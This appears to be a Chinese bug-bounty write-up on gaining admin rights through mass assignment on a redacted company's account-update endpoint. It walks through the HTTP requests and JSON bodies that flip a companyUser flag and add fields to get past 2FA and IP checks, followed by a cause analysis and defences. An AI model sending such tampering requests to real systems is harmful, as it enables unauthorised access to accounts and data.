挖洞经验 | 以账户更新方式实现某大公司网站普通用户到管理员的提权
字数 984 2025-08-15 21:33:57
通过账户更新功能实现权限提升漏洞分析与复现
漏洞概述
本教学文档详细分析了一种通过账户更新功能实现从普通用户到管理员权限提升的漏洞。该漏洞存在于某大型公司网站的子域名系统中,攻击者可以通过构造特定的POST请求,修改用户权限相关字段,最终获得管理员权限。
漏洞发现背景
- 学习来源:OWASP Juice Shop中的"注册具有管理员权限用户"任务
- 测试环境:某知名百万美元级别公司网站的子域名系统
- 漏洞奖励:$5000,评级为P1严重级
漏洞复现步骤
1. 初始注册
首先观察正常用户注册流程:
POST /register HTTP/1.1
Host: www.redacted.com
Content-Type: application/json
{"email": "user@tld.xyz", "password": "password123"}
响应为302跳转到主页,表面看似正常。
2. 发现账户更新端点
关键发现点在于账户更新功能:
POST /updateUserInfo HTTP/1.1
Host: www.redacted.com
CSRF-Token: XXXXXXXXXXXXXXXXXXXXXXX
Content-Type: application/json
{
"User": {"id": "123", "email": "user@tld.xyz", "fullName": "User A"},
"Address": {"city": "Some City"}
}
响应中包含重要信息:
{
"response": "success",
"info": {
"id": "123",
"email": "user@tld.xyz",
"fullName": "User A",
"companyUser": "0"
}
}
3. 权限字段修改尝试
关键字段companyUser值为"0",尝试修改为"1":
第一次尝试(失败):
{
"User": {
"id": "123",
"email": "user@tld.xyz",
"fullName": "User A",
"companyUser": "1"
},
"Address": {"city": "Some City"}
}
第二次尝试(成功):
发现字段需要大写首字母:
{
"CompanyUser": {
"companyUser": "1"
}
}
4. 绕过2FA验证
修改权限后遇到2FA验证,发现响应中有companyUser2FA字段:
{
"CompanyUser": {
"companyUser": "1",
"companyUser2FA": "1234"
}
}
5. 绕过IP限制
发现IP限制后,找到companyUserIP字段:
{
"CompanyUser": {
"companyUser": "1",
"companyUser2FA": "1234",
"companyUserIP": "<My Public IP>"
}
}
6. 最终权限提升
成功修改后:
- 账户获得管理员权限
- 可访问管理员专属路径
- 发现其他未枚举的子域名
漏洞原理分析
- 不当的输入验证:后端未对用户提交的权限相关字段进行严格验证
- 过度数据暴露:响应中返回了过多敏感字段信息
- 客户端控制权限:权限控制逻辑依赖客户端提交的数据
漏洞利用条件
- 拥有普通用户账户
- 发现账户更新端点
- 系统响应中暴露权限相关字段
- 权限控制逻辑存在缺陷
防御措施
-
输入验证:
- 严格验证所有用户提交的数据
- 特别检查权限相关字段
-
最小化数据暴露:
- 响应中只返回必要字段
- 隐藏敏感信息如权限标志
-
权限控制:
- 权限变更应通过独立的安全流程
- 实现服务端严格的权限校验
-
日志监控:
- 记录所有权限变更操作
- 设置异常操作告警
学习要点
- 从响应中寻找敏感字段线索
- 尝试修改看似与权限相关的字段
- 注意字段命名规范(如大小写敏感性)
- 逐步测试遇到的每个安全限制
- 通过系统响应发现新的可利用字段
总结
本案例展示了如何通过分析系统响应和构造特定请求,利用账户更新功能中的漏洞实现权限提升。关键在于发现和利用系统暴露的权限控制字段,并逐步绕过各项安全限制。防御此类漏洞需要严格的服务端验证和最小化数据暴露原则。